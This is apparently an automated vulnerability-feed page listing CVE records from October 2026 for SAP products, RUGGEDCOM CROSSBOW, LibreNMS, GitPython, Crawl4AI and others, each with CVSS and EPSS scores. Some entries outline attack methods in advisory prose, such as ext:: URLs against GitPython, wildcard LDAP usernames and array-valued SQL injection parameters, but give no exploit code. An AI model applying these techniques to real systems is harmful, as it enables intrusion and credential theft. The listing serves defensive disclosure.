SAP Manufacturing Integration and Intelligence does not sufficiently enforce authorization boundaries within certain administrative functionality. An attacker with MII administrator privileges could submit a specially crafted request to provision an account with elevated privileges on the underlying Java application server. Successful exploitation could allow the attacker to gain administrative control over the underlying system, extending the impact beyond the vulnerable application. This results in a high impact on confidentiality, integrity and availability.
CVSS 9.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89108).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89108&date=2026-10-25).
Sources:
NVD CVE-2026-89108: https://nvd.nist.gov/vuln/detail/CVE-2026-89108
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89108&date=2026-10-25
SAP Manufacturing Integration and Intelligence does not sufficiently enforce authorization boundaries within certain administrative functionality. An attacker with MII administrator privileges could submit a specially crafted request to provision an account with elevated privileges on the underlying Java application server. Successful exploitation could allow the attacker to gain administrative control over the underlying system, extending the impact beyond the vulnerable application. This results in a high impact on confidentiality, integrity and availability.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SAP NetWeaver Visual Composer does not perform sufficient authorization checks in certain portal functionality.
https://kevwire.com/record/CVE-2026-89110
SAP NetWeaver Visual Composer does not perform sufficient authorization checks in certain portal functionality. (Oct 13, 2026).
SAP NetWeaver Visual Composer does not perform sufficient authorization checks in certain portal functionality. An attacker with low privileges could invoke internal operations on a preconfigured remote system. Depending on the remote connection configuration, this could lead to a full compromise of the remote system. This results in a high impact on confidentiality, integrity and availability.
CVSS 9.9 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89110).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89110&date=2026-10-25).
Sources:
NVD CVE-2026-89110: https://nvd.nist.gov/vuln/detail/CVE-2026-89110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89110&date=2026-10-25
SAP NetWeaver Visual Composer does not perform sufficient authorization checks in certain portal functionality. An attacker with low privileges could invoke internal operations on a preconfigured remote system. Depending on the remote connection configuration, this could lead to a full compromise of the remote system. This results in a high impact on confidentiality, integrity and availability.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The SAP Cloud SDK for Python contains an OAuth2 SSRF vulnerability affecting multi-tenant BTP applications.
https://kevwire.com/record/CVE-2026-89111
The SAP Cloud SDK for Python contains an OAuth2 SSRF vulnerability affecting multi-tenant BTP applications. (Oct 13, 2026).
The SAP Cloud SDK for Python contains an OAuth2 SSRF vulnerability affecting multi-tenant BTP applications. An attacker who controls the tenant_subdomain parameter can redirect OAuth2 token requests to an attacker-controlled server, causing client credentials to be exfiltrated.
CVSS 10.0 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89111).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89111&date=2026-10-25).
Sources:
NVD CVE-2026-89111: https://nvd.nist.gov/vuln/detail/CVE-2026-89111
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89111&date=2026-10-25
The SAP Cloud SDK for Python contains an OAuth2 SSRF vulnerability affecting multi-tenant BTP applications. An attacker who controls the tenant_subdomain parameter can redirect OAuth2 token requests to an attacker-controlled server, causing client credentials to be exfiltrated.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SAP Commerce Cloud does not sufficiently validate certain user-supplied input before it is incorporated into a database query.
https://kevwire.com/record/CVE-2026-89113
SAP Commerce Cloud does not sufficiently validate certain user-supplied input before it is incorporated into a database query. (Oct 13, 2026).
SAP Commerce Cloud does not sufficiently validate certain user-supplied input before it is incorporated into a database query. An authenticated user could send specially crafted requests to affected functionality to inject arbitrary SQL commands. Successful exploitation could allow the user to read, modify or delete sensitive data from the application's database, resulting in a high impact on confidentiality, integrity and availability of the application.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89113).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89113&date=2026-10-25).
Sources:
NVD CVE-2026-89113: https://nvd.nist.gov/vuln/detail/CVE-2026-89113
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89113&date=2026-10-25
SAP Commerce Cloud does not sufficiently validate certain user-supplied input before it is incorporated into a database query. An authenticated user could send specially crafted requests to affected functionality to inject arbitrary SQL commands. Successful exploitation could allow the user to read, modify or delete sensitive data from the application's database, resulting in a high impact on confidentiality, integrity and availability of the application.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A regression caused by an API change in SAP ABAP Platform reintroduces a previously fixed authorization weakness.
https://kevwire.com/record/CVE-2026-89120
A regression caused by an API change in SAP ABAP Platform reintroduces a previously fixed authorization weakness. (Oct 13, 2026).
A regression caused by an API change in SAP ABAP Platform reintroduces a previously fixed authorization weakness. The session manager can be opened in single transaction mode, including from FLP. A low-privileged attacker could exploit this to bypass restrictions via specially crafted requests, resulting in high impact on integrity and low impact on confidentiality. There is no impact on availability.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89120).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89120&date=2026-10-25).
Sources:
NVD CVE-2026-89120: https://nvd.nist.gov/vuln/detail/CVE-2026-89120
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89120&date=2026-10-25
A regression caused by an API change in SAP ABAP Platform reintroduces a previously fixed authorization weakness. The session manager can be opened in single transaction mode, including from FLP. A low-privileged attacker could exploit this to bypass restrictions via specially crafted requests, resulting in high impact on integrity and low impact on confidentiality. There is no impact on availability.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in facility names processed during the...
https://kevwire.com/record/CVE-2026-89196
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in facility names processed during the... (Oct 13, 2026).
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in facility names processed during the Bulk Import/Export workflow. This could allow an authenticated attacker with specific privileges to execute arbitrary SQL commands on the underlying database.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89196).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89196&date=2026-10-25).
Sources:
NVD CVE-2026-89196: https://nvd.nist.gov/vuln/detail/CVE-2026-89196
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89196&date=2026-10-25
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in facility names processed during the Bulk Import/Export workflow. This could allow an authenticated attacker with specific privileges to execute arbitrary SQL commands on the underlying database.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize the filename of firmware files uploaded to...
https://kevwire.com/record/CVE-2026-89198
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize the filename of firmware files uploaded to... (Oct 13, 2026).
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize the filename of firmware files uploaded to the system. This could allow an authenticated attacker with specific privileges to execute arbitrary SQL commands on the underlying database.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89198).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89198&date=2026-10-25).
Sources:
NVD CVE-2026-89198: https://nvd.nist.gov/vuln/detail/CVE-2026-89198
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89198&date=2026-10-25
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize the filename of firmware files uploaded to the system. This could allow an authenticated attacker with specific privileges to execute arbitrary SQL commands on the underlying database.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly restrict access to sensitive configuration items via specific...
https://kevwire.com/record/CVE-2026-89199
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly restrict access to sensitive configuration items via specific... (Oct 13, 2026).
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly restrict access to sensitive configuration items via specific database queries. This could allow an authenticated attacker to retrieve administrative credentials for various internal systems, leading to unauthorized information disclosure and privilege escalation.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89199).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89199&date=2026-10-25).
Sources:
NVD CVE-2026-89199: https://nvd.nist.gov/vuln/detail/CVE-2026-89199
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89199&date=2026-10-25
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly restrict access to sensitive configuration items via specific database queries. This could allow an authenticated attacker to retrieve administrative credentials for various internal systems, leading to unauthorized information disclosure and privilege escalation.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in the Name and Value fields for...
https://kevwire.com/record/CVE-2026-89200
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in the Name and Value fields for... (Oct 13, 2026).
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in the Name and Value fields for custom file labels. This could allow an authenticated attacker with administrative privileges to execute arbitrary SQL commands on the underlying database.
CVSS 8.4 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89200).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89200&date=2026-10-25).
Sources:
NVD CVE-2026-89200: https://nvd.nist.gov/vuln/detail/CVE-2026-89200
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89200&date=2026-10-25
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in the Name and Value fields for custom file labels. This could allow an authenticated attacker with administrative privileges to execute arbitrary SQL commands on the underlying database.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in device group or facility names...
https://kevwire.com/record/CVE-2026-89201
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in device group or facility names... (Oct 13, 2026).
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in device group or facility names processed during the Bulk Export workflow. This could allow an authenticated attacker with specific privileges to execute arbitrary SQL commands on the underlying database.
CVSS 7.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89201).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89201&date=2026-10-25).
Sources:
NVD CVE-2026-89201: https://nvd.nist.gov/vuln/detail/CVE-2026-89201
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89201&date=2026-10-25
A vulnerability has been identified in RUGGEDCOM CROSSBOW (All versions < V6.0). Affected devices do not properly validate or sanitize input in device group or facility names processed during the Bulk Export workflow. This could allow an authenticated attacker with specific privileges to execute arbitrary SQL commands on the underlying database.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security issue was discovered in MongoDB mongos (the sharded cluster router) where an authenticated user with readWrite privileges could crash the mongos process by crafting a...
https://kevwire.com/record/CVE-2026-96299
A security issue was discovered in MongoDB mongos (the sharded cluster router) where an authenticated user with readWrite privileges could crash the mongos process by crafting a... (Oct 13, 2026).
A security issue was discovered in MongoDB mongos (the sharded cluster router) where an authenticated user with readWrite privileges could crash the mongos process by crafting a specially formed aggregation pipeline. The issue leverages an internal aggregation stage that lacks proper authorization checks despite being intended for internal use, allowing a subsequent stage to be forced to execute on the router under conditions it was not designed to handle. This results in an unhandled fatal error that causes the mongos process to immediately abort, resulting in denial of service for all clients routed through the affected mongos instance.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96299).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96299&date=2026-10-25).
Sources:
NVD CVE-2026-96299: https://nvd.nist.gov/vuln/detail/CVE-2026-96299
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96299&date=2026-10-25
A security issue was discovered in MongoDB mongos (the sharded cluster router) where an authenticated user with readWrite privileges could crash the mongos process by crafting a specially formed aggregation pipeline. The issue leverages an internal aggregation stage that lacks proper authorization checks despite being intended for internal use, allowing a subsequent stage to be forced to execute on the router under conditions it was not designed to handle. This results in an unhandled fatal error that causes the mongos process to immediately abort, resulting in denial of service for all clients routed through the affected mongos instance.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An improper access control vulnerability has been identified in the SonicWall Network Security Manager (NSM) on-prem in export settings, potentially allowing a remote...
https://kevwire.com/record/CVE-2026-96540
An improper access control vulnerability has been identified in the SonicWall Network Security Manager (NSM) on-prem in export settings, potentially allowing a remote... (Oct 14, 2026).
An improper access control vulnerability has been identified in the SonicWall Network Security Manager (NSM) on-prem in export settings, potentially allowing a remote authenticated attacker to obtain sensitive information. This may allow the attacker to escalate privileges to an administrator or to intercept communications of other users of the NSM instance.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96540).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96540&date=2026-10-25).
Sources:
NVD CVE-2026-96540: https://nvd.nist.gov/vuln/detail/CVE-2026-96540
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96540&date=2026-10-25
An improper access control vulnerability has been identified in the SonicWall Network Security Manager (NSM) on-prem in export settings, potentially allowing a remote authenticated attacker to obtain sensitive information. This may allow the attacker to escalate privileges to an administrator or to intercept communications of other users of the NSM instance.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Crawl4AI from 0.9.0 before 0.9.4 contains an untrusted-config gate bypass that allows non-admin API clients to construct forbidden config objects by wrapping them in dict-type...
https://kevwire.com/record/CVE-2026-109237
Crawl4AI from 0.9.0 before 0.9.4 contains an untrusted-config gate bypass that allows non-admin API clients to construct forbidden config objects by wrapping them in dict-type... (Oct 12, 2026).
Crawl4AI from 0.9.0 before 0.9.4 contains an untrusted-config gate bypass that allows non-admin API clients to construct forbidden config objects by wrapping them in dict-type wrappers. Attackers can send a laundered LLMConfig with api_token set to an env reference via /config/dump to read SECRET_KEY and provider keys, enabling admin JWT forgery.
CVSS 8.6 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109237).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109237&date=2026-10-25).
Sources:
NVD CVE-2026-109237: https://nvd.nist.gov/vuln/detail/CVE-2026-109237
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109237&date=2026-10-25
Crawl4AI from 0.9.0 before 0.9.4 contains an untrusted-config gate bypass that allows non-admin API clients to construct forbidden config objects by wrapping them in dict-type wrappers. Attackers can send a laundered LLMConfig with api_token set to an env reference via /config/dump to read SECRET_KEY and provider keys, enabling admin JWT forgery.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LibreNMS before 26.9.0 contains an SQL injection vulnerability that allows unprivileged users to inject SQL by supplying an array-valued notification_id parameter to...
https://kevwire.com/record/CVE-2026-109353
LibreNMS before 26.9.0 contains an SQL injection vulnerability that allows unprivileged users to inject SQL by supplying an array-valued notification_id parameter to... (Oct 12, 2026).
LibreNMS before 26.9.0 contains an SQL injection vulnerability that allows unprivileged users to inject SQL by supplying an array-valued notification_id parameter to notifications.inc.php. Attackers can perform cross-table reads of users.password hashes, with results persisted in notifications_attribs and readable through the interface.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109353).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109353&date=2026-10-25).
Sources:
NVD CVE-2026-109353: https://nvd.nist.gov/vuln/detail/CVE-2026-109353
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109353&date=2026-10-25
LibreNMS before 26.9.0 contains an SQL injection vulnerability that allows unprivileged users to inject SQL by supplying an array-valued notification_id parameter to notifications.inc.php. Attackers can perform cross-table reads of users.password hashes, with results persisted in notifications_attribs and readable through the interface.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LibreNMS before 26.9.0 contains an LDAP filter injection in ldap-authorization and ad-authorization modes because usernames are inserted unescaped into LDAP search filters and...
https://kevwire.com/record/CVE-2026-109357
LibreNMS before 26.9.0 contains an LDAP filter injection in ldap-authorization and ad-authorization modes because usernames are inserted unescaped into LDAP search filters and... (Oct 12, 2026).
LibreNMS before 26.9.0 contains an LDAP filter injection in ldap-authorization and ad-authorization modes because usernames are inserted unescaped into LDAP search filters and authentication only checks user existence. When REMOTE_USER is not forwarded, unauthenticated attackers can send a wildcard username via HTTP Basic Authorization (PHP_AUTH_USER) to match all users and groups and gain admin access.
CVSS 9.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109357).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109357&date=2026-10-25).
Sources:
NVD CVE-2026-109357: https://nvd.nist.gov/vuln/detail/CVE-2026-109357
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109357&date=2026-10-25
LibreNMS before 26.9.0 contains an LDAP filter injection in ldap-authorization and ad-authorization modes because usernames are inserted unescaped into LDAP search filters and authentication only checks user existence. When REMOTE_USER is not forwarded, unauthenticated attackers can send a wildcard username via HTTP Basic Authorization (PHP_AUTH_USER) to match all users and groups and gain admin access.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GitPython before 3.2.0 contains a remote code execution vulnerability that allows attackers to run commands because Git.ls_remote forwards URLs without check_unsafe_protocols...
https://kevwire.com/record/CVE-2026-110857
GitPython before 3.2.0 contains a remote code execution vulnerability that allows attackers to run commands because Git.ls_remote forwards URLs without check_unsafe_protocols... (Oct 14, 2026).
GitPython before 3.2.0 contains a remote code execution vulnerability that allows attackers to run commands because Git.ls_remote forwards URLs without check_unsafe_protocols validation. Attackers can supply ext:: remote-helper URLs to execute commands when git permits the ext transport, while merge_base and IndexFile.move also accept unguarded option injection.
CVSS 7.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110857).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110857&date=2026-10-25).
Sources:
NVD CVE-2026-110857: https://nvd.nist.gov/vuln/detail/CVE-2026-110857
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110857&date=2026-10-25
GitPython before 3.2.0 contains a remote code execution vulnerability that allows attackers to run commands because Git.ls_remote forwards URLs without check_unsafe_protocols validation. Attackers can supply ext:: remote-helper URLs to execute commands when git permits the ext transport, while merge_base and IndexFile.move also accept unguarded option injection.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ZcashFoundation Zebra 6.4.0 before 6.4.2 parses version 6 transactions carrying a pre-NU6.3 consensus branch ID, but the size computation during UnminedTx construction treats...
https://kevwire.com/record/CVE-2026-109363
ZcashFoundation Zebra 6.4.0 before 6.4.2 parses version 6 transactions carrying a pre-NU6.3 consensus branch ID, but the size computation during UnminedTx construction treats... (Oct 12, 2026).
ZcashFoundation Zebra 6.4.0 before 6.4.2 parses version 6 transactions carrying a pre-NU6.3 consensus branch ID, but the size computation during UnminedTx construction treats re-serialization of the Orchard bundle as infallible, so the resulting error trips an expect that aborts zebrad. Unauthenticated peers can send a single pre-handshake tx message to crash the node, and can repeat this after each restart.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109363).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109363&date=2026-10-25).
Sources:
NVD CVE-2026-109363: https://nvd.nist.gov/vuln/detail/CVE-2026-109363
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109363&date=2026-10-25
ZcashFoundation Zebra 6.4.0 before 6.4.2 parses version 6 transactions carrying a pre-NU6.3 consensus branch ID, but the size computation during UnminedTx construction treats re-serialization of the Orchard bundle as infallible, so the resulting error trips an expect that aborts zebrad. Unauthenticated peers can send a single pre-handshake tx message to crash the node, and can repeat this after each restart.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 enable XML external entity processing by default in multiple server paths, which could allow...
https://kevwire.com/record/CVE-2026-85970
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 enable XML external entity processing by default in multiple server paths, which could allow... (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 enable XML external entity processing by default in multiple server paths, which could allow crafted XML to cause server-side requests or disclosure of local files.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85970).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85970&date=2026-10-25).
Sources:
NVD CVE-2026-85970: https://nvd.nist.gov/vuln/detail/CVE-2026-85970
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85970&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 enable XML external entity processing by default in multiple server paths, which could allow crafted XML to cause server-side requests or disclosure of local files.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an out-of-bounds write vulnerability in certain language-processing functionality.
https://kevwire.com/record/CVE-2026-85969
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an out-of-bounds write vulnerability in certain language-processing functionality. (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an out-of-bounds write vulnerability in certain language-processing functionality. A remote authenticated attacker could exploit this vulnerability to cause server instability or limited modification of data.
